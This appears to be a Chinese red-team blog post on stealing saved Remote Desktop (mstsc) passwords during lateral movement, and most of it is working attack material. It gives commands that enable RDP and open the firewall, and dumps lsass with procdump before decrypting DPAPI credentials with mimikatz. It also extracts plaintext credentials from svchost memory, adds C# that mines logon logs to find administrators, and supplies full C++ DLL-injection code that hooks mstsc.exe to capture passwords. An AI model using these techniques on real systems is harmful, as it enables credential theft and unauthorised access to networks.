<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透 | 橫向移動中MSTSC的密碼獲取

    VSole2021-10-15 06:50:30
    在常見滲透過程中我們拿到了一個pc權限,目標pc的mstsc可能保存了其他機器的密碼。所以獲取它保存的密碼是非常有利用價值的。

    0x01 查詢是否開啟3389

    1.1

    3389開啟的進程名為TermService,所以我們可以查看是否開啟這個進程

    tasklist /svc | findstr TermService
    

    1.2

    0x02 查看rdp開啟具體端口

    很多運維為了安全起見可能會修改默認3389端口為其他端口

    2.1

    tasklist /svc | findstr TermService
    netstat -ano | findstr "前面獲取到的pid"
    

    2.2

    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
    

    0x03 如何開啟3389

    如果獲取到目標高權限的webshell可以通過命令開啟3389

    3.1

    允許3389端口放行

    netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
    

    ①:通用開3389(優化后):

    wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
    

    ②:For Win2003:

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    

    ③:For Win2008:

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    

    ④:For Every: cmd開3389 win08 win03 win7 win2012 winxp win08,三條命令即可:

      wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
      wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
    

    3.2

    使用[RegfDenyTSConnections.ps1] https://github.com/QAX-A-Team/EventLogMaster/blob/master/powershell/RegfDenyTSConnections.ps1腳本

    0x04 獲取登錄日志

    在windows事件里面id為4624和4635分別為成功登錄和失敗登錄

    這里看下4624的詳情

    已成功登錄帳戶。
    主題:
        安全 ID:        SYSTEM
            帳戶名:        WIN-4BS4SH00L5N$
        帳戶域:        REDTEAM
        登錄 ID:        0x3e7
    登錄類型:            10
    新登錄:
        安全 ID:        WIN-4BS4SH00L5N\test
        帳戶名:        test
        帳戶域:        WIN-4BS4SH00L5N
        登錄 ID:        0xfd71e
        登錄 GUID:        {00000000-0000-0000-0000-000000000000}
    進程信息:
        進程 ID:        0xbcc
        進程名:        C:\Windows\System32\winlogon.exe
    網絡信息:
        工作站名:    WIN-4BS4SH00L5N
        源網絡地址:    192.168.11.12
        源端口:        63275
    詳細身份驗證信息:
        登錄進程:        User32 
        身份驗證數據包:    Negotiate
        傳遞服務:    -
        數據包名(僅限 NTLM):    -
        密鑰長度:        0
    

    4625:

    帳戶登錄失敗。
    主題:
        安全 ID:        SYSTEM
        帳戶名:        WIN-4BS4SH00L5N$
        帳戶域:        WORKGROUP
        登錄 ID:        0x3e7
    登錄類型:            2
    登錄失敗的帳戶:
        安全 ID:        NULL SID
        帳戶名:        Administrator
        帳戶域:        WIN-4BS4SH00L5N
    失敗信息:
        失敗原因:        指定帳戶的密碼已過期。
        狀態:            0xc0000224
        子狀態:        0x0
    進程信息:
        調用方進程 ID:    0x184
        調用方進程名:    C:\Windows\System32\winlogon.exe
    網絡信息:
        工作站名:    WIN-4BS4SH00L5N
        源網絡地址:    127.0.0.1
        源端口:        0
    詳細身份驗證信息:
        登錄進程:        User32 
        身份驗證數據包:    Negotiate
        傳遞服務:    -
        數據包名(僅限 NTLM):    -
        密鑰長度:        0
    

    在一些溯源工作可能會用到,還有就是當我們擼下一臺服務器我們想定位到辦公區或者it,運維組可以通過該方法

    using System;
    using System.Collections.Generic;
    using System.Diagnostics;
    using System.Linq;
    using System.Text;
    namespace SharpEventLog
    {
        class Program
        {
            static void Main(string[] args)
            {
                if (args.Length == 0)
                {
                    System.Console.WriteLine("Usage: EventLog.exe -4624");
                    System.Console.WriteLine("       EventLog.exe -4625");
                }
                if (args.Length == 1 && args[0] == "-4624")
                {
                    EventLog_4624();
                }
                if (args.Length == 1 && args[0] == "-4625")
                {
                    EventLog_4625();
                }
                
            }
            public static void EventLog_4624()
            {
                EventLog log = new EventLog("security");
                Console.WriteLine("\r========== 4624 ==========\r");
                var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4624);
                entries.Select(x => new
                {
                    x.MachineName,
                    x.Site,
                    x.Source,
                    x.Message,
                    x.TimeGenerated
                }).ToList();
                foreach (EventLogEntry log1 in entries)
                {
                    string text = log1.Message;
                    string ipaddress = MidStrEx(text, "    源網絡地址:    ", "    源端口:");
                    string username = MidStrEx(text, "新登錄:", "進程信息:");
                    username = MidStrEx(username, "    帳戶名:        ", "    帳戶域:        ");
                    DateTime Time = log1.TimeGenerated;
                    if (ipaddress.Length >= 7)
                    {
                        Console.WriteLine("\r-----------------------------------");
                        Console.WriteLine("Time: " + Time);
                        Console.WriteLine("Status: True");
                        Console.WriteLine("Username: " + username.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
                        Console.WriteLine("Remote ip: " + ipaddress.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
                    }
                }
            }
            public static void EventLog_4625()
            {
                EventLog log = new EventLog("Security");
                Console.WriteLine("\r========== 4625 ==========\r");
                var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4625);
                entries.Select(x => new
                {
                    x.MachineName,
                    x.Site,
                    x.Source,
                    x.Message,
                    x.TimeGenerated
                }).ToList();
                foreach (EventLogEntry log1 in entries)
                {
                    string text = log1.Message;
                    string ipaddress = MidStrEx(text, "    源網絡地址:    ", "    源端口:");
                    string username = MidStrEx(text, "新登錄:", "進程信息:");
                    username = MidStrEx(username, "    帳戶名:        ", "    帳戶域:        ");
                    DateTime Time = log1.TimeGenerated;
                    if (ipaddress.Length >= 7)
                    {
                        Console.WriteLine("\r-----------------------------------");
                        Console.WriteLine("Time: " + Time);
                        Console.WriteLine("Status: Flase");
                        Console.WriteLine("Username: " + username.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
                        Console.WriteLine("Remote ip: " + ipaddress.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
                    }
                }
            }
            public static string MidStrEx(string sourse, string startstr, string endstr)
            {
                string result = string.Empty;
                int startindex, endindex;
                startindex = sourse.IndexOf(startstr);
                if (startindex == -1)
                    return result;
                string tmpstr = sourse.Substring(startindex + startstr.Length);
                endindex = tmpstr.IndexOf(endstr);
                if (endindex == -1)
                    return result;
                result = tmpstr.Remove(endindex);
                return result;
            }
        }
    }
    

    0x05 mstsc保存密碼-解密

    5.1

    可以通過

    cmdkey /l
    dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
    

    來查看是否存在憑證

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    

    procdump64來獲取內存文件

    然后使用mimikatz獲取guidMasterKey:

    {12f037b9-df42-4dcf-b9e0-31b57d26c544}
    mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2" "exit" > 1.txt
    

    然后加載dmp獲取對應的MasterKey:

    ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::dpapi" "exit" > 2.txt
    

    然后使用MasterKey進行解密

    mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2 /masterkey:ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078" "exit" > 3.txt
    


    5.2

    當用戶通過RDP連接進行身份驗證的時候,終端服務是由svchost進程托管,憑證是以純文本形式儲存在svchost進程的內存中。但是在進程里面有很多svchost進程。因此可以通過執行以下命令之一來識別哪個進程,hosts 終端服務連接。

    sc queryex termservice
    

    查詢是那個進程加載了rdpcorets.dll

    tasklist /M:rdpcorets.dll
    

    可以指定pid寫入dmp文件來轉存內存

    然后可以在kali進行離線分析

    strings -el svchost*
    

    0x06 hook mstsc

    一般獲取mstsc密碼來說就兩種方法,第一種獲取運行后保存在內存中的密碼,第二就是hook mstsc截獲密碼。前文寫過如何獲取保存后的密碼,現在來講解如何hook。


    6.1 Detours庫

    該庫支持 32 位和 64 位進程,這里拿MessageBox函數來進行講解。在做掛鉤的時候必須要確定原始函數的地址和鉤子函數地址的目標指針。

    6.1.1 Detours庫安裝

    [源碼下載地址]:https://github.com/Microsoft/Detours。這里以64位進行實驗。

    使用vs的命令行在src目錄執行(x64 Native Tools Command Prompt for VS 2019 和 x86 Native Tools Command Prompt for VS 2019,這兩個可以分別用來編譯64位和32位的Detours)

    nmake
    

    編譯后會生成一下三個目錄

    ?bin.X64
    ?include
    ?lib.X64

    vs建立工程添加

    ?detours.h

    ?detours.lib

    打開程序包管理器控制臺執行

    Install-Package Detours
    

    然后導入.h和.lib文件即可。

    #include 
    #include 
    #pragma comment (lib,"detours.lib")
    static int(WINAPI* TrueMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT) = MessageBox;
    int WINAPI OurMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
        return TrueMessageBox(NULL, L"Hooked", lpCaption, 0);
    }
    int main()
    {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)TrueMessageBox, OurMessageBox);
        DetourTransactionCommit();
        MessageBox(NULL, L"11ccaab", L"11ccaab", 0);
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)TrueMessageBox, OurMessageBox);
        DetourTransactionCommit();
    }
    

    6.2 API Monitor 監控 mstsc

    附加到mstsc進程,然后監聽

    可以看到ip存放于CredReadW方法中

    6.3 RdpThief

    [RdpThief]:https://github.com/0x09AL/RdpThief 編譯好是一個 DLL,當注入mstsc.exe進程時,它將執行 API 掛鉤,提取明文憑據并將它們保存到%temp%/data.bin文件中。

    6.4 dll注入

    #include 
    #include 
    #include 
    typedef void(*PFN_FOO)();
    int main()
    {
        //獲取快照
        HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        PROCESSENTRY32 pe32;
        DWORD pid = 0;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        //查看第一個進程
        BOOL bRet = Process32First(hSnap, &pe32);
        while (bRet)
        {
            bRet = Process32Next(hSnap, &pe32);
            if (wcscmp(pe32.szExeFile, L"mstsc.exe") == 0){
                pid = pe32.th32ProcessID;
                break;
            }
        }
        //獲取進程句柄
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        HANDLE hDestModule = NULL;
        //接下來找到該進程中kernel32.dll的基址
        hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
        MODULEENTRY32 mo32 = { 0 };
        mo32.dwSize = sizeof(MODULEENTRY32);
        bRet = Module32First(hSnap, &mo32);
        while (bRet)
        {
            bRet = Module32Next(hSnap, &mo32);
            wprintf(mo32.szExePath);
            std::wstring wstr = mo32.szExePath;
            if (wstr.find(L"KERNEL32.DLL") != std::string::npos){
                hDestModule = mo32.modBaseAddr;
                break;
            }
            
        }
        LPVOID lpDestAddr = NULL;
        if (hDestModule != NULL){
            //獲取本進程的kernel32地址
            HMODULE hkernel32 = GetModuleHandleA("KERNEL32.DLL");
            //計算函數的位置
            LPVOID lploadlibrary = GetProcAddress(hkernel32, "LoadLibraryA");
            //獲取了目標進程中的loadlibrary的地址
            lpDestAddr = (char*)lploadlibrary - (char*)hkernel32 + (char*)hDestModule;
        }
        
        //1.在目標進程開辟空間
        LPVOID lpAddr = VirtualAllocEx(
            hProcess,    //在目標進程中開辟空間
            NULL,    //表示任意地址,隨機分配
            1,    //內存通常是以分頁為單位來給空間 1頁=4k 4096字節
            MEM_COMMIT,    //告訴操作系統給分配一塊內存
            PAGE_EXECUTE_READWRITE
            );
        if (lpAddr == NULL){
            printf("Alloc error!");
            return 0;
        }
        DWORD dwWritesBytes = 0;
        char* pDestDllPath = R"(C:\TestDLL.dll)";
        //2.在目標進程中寫入目標dll的路徑
        bRet = WriteProcessMemory(
            hProcess,    //目標進程
            lpAddr,    //目標地址    目標進程中
            pDestDllPath,    //源數據    當前進程中
            strlen(pDestDllPath)+1,    //寫多大
            &dwWritesBytes //成功寫入的字節數
            );
        if (!bRet){
            VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
            return 0;
        }
        //3.向目標程序調用一個線程 創建遠程線程 執行寫入代碼
        HANDLE hRemoteThread = CreateRemoteThread(hProcess,    //目標進程
            NULL,
            0,
            (LPTHREAD_START_ROUTINE)lpDestAddr,    //目標進程的回調函數
            lpAddr,    //回調參數
            0,
            NULL
            );
        return 0;
    }
    

    運行加載dll,使用Process Explorer可以看到成功加載了dll

    無論是否登錄成功密碼都會保存在

    C:\Users\your username\AppData\Local\Temp\data.bin
    

    string
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如果你不是 Java8 的釘子戶,你應該早就發現了:String 類的源碼已經由 char[] 優化為了 byte[] 來存儲字符串內容,為什么要這樣做呢? 開門見山地說,從 char[] 到 byte[],最主要的目的是為了節省字符串占用的內存 。內存占用減少帶來的另外一個好處,就是 GC 次數也會減少。
    Adobe已經發布了一個名為Stringlifier的開源工具,該工具允許用戶識別任何純文本中隨機生成的字符串,該工具可用于清理日志。Stringlifier工具是用Python編寫的,它使用機器學習來識別插入普通文本中的隨機字符序列。開源工具可用于出于多種目的分析日志,例如研究意外暴露的憑證。Stringlifier能夠在源代碼或配置文件中查找API密鑰,哈希,隨機生成的字符串,包括密碼,日志。Adobe在Github上發布的描述中寫道。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。本文分析 Runtime_StringToArray 方法的源碼和重要數據結構,講解 Runtime_StringToArray 方法的觸發條件。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    舉個例子:但是對于64位的來說 ROPgadget預設的長度是不夠的。所以,我們可以使用ROPgadget --binary ./b --depth 100來加深他的搜索深度。2利用_libc_csu_init制造ROP常規方法我們前面說的利用ROPgadget來尋找,大多都是找到直接設置某個寄存器的rop,當然也可以使用--ropchain這個參數。
    一般情況下類與類之間是相互獨立的,內部類的意思就是打破這種獨立思想,讓一個類成為另一個類的內部信息,和成員變量、成員方法同等級別。「內部類的好處:」把一個類寫在外面和寫在里面最終達到的結果都一樣,那我們為什么還要使用內部類,豈不是多此一舉嗎?
    當被問及網絡間諜是否成功時,愛德華·斯金格表示,他非常有信心地確信,除了國防學院本身,沒有任何其他危害行為。斯金格接受采訪時透露,本次攻擊看起來不像是一次暴力攻擊,但有代價。國防學院立即意識到它可能已成為敵對國家在灰色地帶式網絡攻擊中的目標的可能性。官方迅速采取了行動,對更廣泛的國防部IT網絡沒有影響。
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    MISC中常用python腳本
    2021-09-20 20:26:46
    MISC中常用python腳本總結
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类